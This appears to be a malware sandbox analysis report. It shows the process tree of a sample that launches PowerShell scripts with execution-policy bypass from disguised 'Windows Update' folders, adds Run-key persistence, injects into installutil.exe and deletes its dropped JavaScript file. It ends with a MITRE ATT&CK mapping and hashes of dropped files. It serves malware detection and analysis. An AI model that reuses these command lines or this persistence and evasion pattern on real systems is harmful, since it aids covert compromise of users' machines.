        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n C:\Users\Public\pwxsbçš„è¿™äº”js
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:4336
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c del "C:\Users\Public\pwxsbçš„è¿™äº”js"
        6⤵
        
        PID:4704
      - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Windows Update\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\wdsaf_01.ps1"
        6⤵
        Command and Scripting Interpreter: PowerShell
        Adds Run key to start application
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3932
      - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Windows Update\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\cpmwz_02.ps1"
        6⤵
        Command and Scripting Interpreter: PowerShell
        Adds Run key to start application
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4272
      - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Windows Update\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\sdsum.ps1"
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: GetForegroundWindowSpam
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:3720
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe"
        7⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5084
        
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -noexit -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Windows Update\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\vethl_Pesis_.ps1"
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:5452
        
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -file "C:\Users\Admin\AppData\Windows Update\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\cpmwz_02.ps1"
        8⤵
        Command and Scripting Interpreter: PowerShell
        Adds Run key to start application
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1936
        
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -file "C:\Users\Admin\AppData\Windows Update\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\cpmwz_02.ps1"
        8⤵
        Command and Scripting Interpreter: PowerShell
        Adds Run key to start application
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:23508
        
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -file "C:\Users\Admin\AppData\Windows Update\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\cpmwz_02.ps1"
        8⤵
        Command and Scripting Interpreter: PowerShell
        Adds Run key to start application
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:17732
        
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -file "C:\Users\Admin\AppData\Windows Update\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\cpmwz_02.ps1"
        8⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:3792
        
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Windows Update\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\sdsum.ps1"
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:10932
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe"
        8⤵
        
        PID:2836
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c del "C:\Users\Public\pwxsbçš„è¿™äº”js"
        6⤵
        
        PID:2432

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

installutil.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\installutil.exe.log
Size 1KB
SHA256 3f64c409dc423f00d2e166b426b6c84e5f33d380971c1bc2b6bb99a8444a5366
MD5 7fc0547daab633501b8a43734edaa7cf
SHA1 5b18dbe1a0ce8c7564a45ef59a85b8e339cdb5e4
SHA512 910b03ed8d150591f6cfef673ad5a28b572b3126807d6c096030eb1ed1107c76d585a12081a2a3117d9cc78ae3f5fce26635aa2d94223b5c016d2668ab181a7b
TLSH
T18831CE712376F1D889163F422C2D2A8417BF0766BA90EE0CB598A25ED9360175F212F3
MD5 SHA1 SHA512 TLSH

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
MD5 d85ba6ff808d9e5444a4b369f5bc2730
SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
TLSH
T1CE51EE323375B1E888167F071E681A8053BF4355EA94AF1CB698621ED93641B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 53KB
SHA256 4ebde1c12625cb55034d47e5169f709b0bd02a8caa76b5b9854efad7f4710245
MD5 a26df49623eff12a70a93f649776dab7
SHA1 efb53bd0df3ac34bd119adf8788127ad57e53803
SHA512 e5f9b8645fb2a50763fcbffe877ca03e9cadf099fe2d510b74bfa9ff18d0a6563d11160e00f495eeefebde63450d0ade8d6b6a824e68bd8a59e1971dc842709c
SSDEEP 1536:0YaC+jH04tAHk1ZSMrxyNhftflJdvYoFi3j39MVvjMlUst+hNOwUp7bNvv+EGa5d:0YaC+jH04tAHk1cMrxyNhftflJdvYoFw
TLSH
T170334093E9204D71E1A66F3EF15662227D34394690F8113212DC25EFA983D970B1FAFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download